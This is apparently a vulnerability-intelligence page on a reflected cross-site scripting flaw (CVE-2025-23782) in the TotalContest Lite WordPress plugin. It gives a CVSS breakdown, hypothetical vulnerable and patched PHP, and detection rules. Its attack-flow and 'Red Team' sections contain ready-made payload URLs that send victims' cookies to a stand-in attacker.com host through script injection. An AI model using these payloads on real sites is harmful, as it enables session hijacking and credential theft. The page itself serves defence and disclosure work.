☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Totalsuite logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-23782

CVE-2025-23782 Cross-Site Scripting in Totalsuite
📅 PUBLISHED: 2025-04-17 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-23782 is a reflected Cross-Site Scripting (XSS) vulnerability in the TotalSuite TotalContest Lite WordPress plugin, affecting versions up to and including 2.8.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score is 7.1 (High), and no public exploit code or patch is currently available. The plugin is part of the WordPress ecosystem, and exploitation requires user interaction (e.g., clicking a crafted link).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must click a malicious link
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited modification of content
  • Availability Impact: Low (A:L) – limited disruption

Threat Level: High. Reflected XSS can be chained with phishing campaigns to compromise WordPress admin sessions or steal authentication tokens.

Deep Dive & Mechanics

The vulnerability exists in the totalcontest-lite plugin’s handling of HTTP GET parameters. When a user visits a crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter like ?search=<script>alert('XSS')</script> may be echoed back in the HTML response, executing the script in the victim’s browser.

Root Cause: The plugin uses $_GET or $_REQUEST data directly in HTML output without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This is a classic stored/reflected XSS pattern.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?contest=1&action=vote&id=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin processes the id parameter and reflects it in the page without sanitization.
  4. The injected script executes, exfiltrating cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example based on common patterns):

// vulnerable.php
$id = $_GET['id'];
echo "<div>Contest ID: $id</div>";

Patched Code (using WordPress escaping):

// patched.php
$id = isset($_GET['id']) ? esc_html($_GET['id']) : '';
echo "<div>Contest ID: " . esc_html($id) . "</div>";

The patched version uses esc_html() to encode HTML special characters, preventing script injection. Since no official patch exists, users must manually apply similar escaping or disable the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites: A WordPress site with TotalContest Lite <= 2.8.1 installed and accessible.

Proof-of-Concept (PoC) URL:

http://target-site.com/?contest=1&action=vote&id=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealer):

http://target-site.com/?contest=1&action=vote&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

  1. Install WordPress locally (e.g., using Docker).
  2. Install TotalContest Lite version 2.8.1.
  3. Create a contest and note the URL structure.
  4. Craft the PoC URL and test in a browser.

Blue Team (Defensive)

Detection: Monitor web server logs for suspicious query strings containing <script>, onerror=, javascript:, or base64-encoded payloads.

Mitigation:

  • Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Disable the plugin until an official patch is released.

Indicators of Compromise (IOCs)

  • URL Patterns: ?contest=*&action=vote&id=<script> or similar with encoded payloads.
  • HTTP Referer: Suspicious referrers from known phishing domains.
  • Log Entries: GET /?contest=1&action=vote&id=%3Cscript%3E... with non-standard user agents.
  • File Hashes: No specific file hashes available; monitor for modified plugin files.

Detection Engineering

YARA Rule

rule CVE_2025_23782_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting TotalContest Lite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-23782"
    strings:
        $xss_payload = /[?&]id=.*<script[^>]*>.*<\/script>/i
        $xss_encoded = /[?&]id=.*%3Cscript%3E.*%3C\/script%3E/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against TotalContest Lite
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in HTTP requests to TotalContest Lite plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'id=<script'
            - 'id=%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-vulnerable contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23782 Reflected XSS in TotalContest Lite"; flow:to_server,established; content:"GET"; http_method; content:"id="; http_uri; pcre:"/id=.*<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Apply virtual patching via WAF rules to block reflected XSS patterns.
  3. Educate users about phishing links and suspicious URLs.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using WordPress functions like esc_html(), esc_attr(), or wp_kses_post().
  • Users should monitor the WordPress plugin repository for updates.

Workaround:

  • Add custom code to functions.php to sanitize the id parameter:
add_filter('query_vars', function($vars) {
    $vars[] = 'id';
    return $vars;
});
add_action('template_redirect', function() {
    if (get_query_var('id')) {
        set_query_var('id', esc_html(get_query_var('id')));
    }
});

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-23782/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.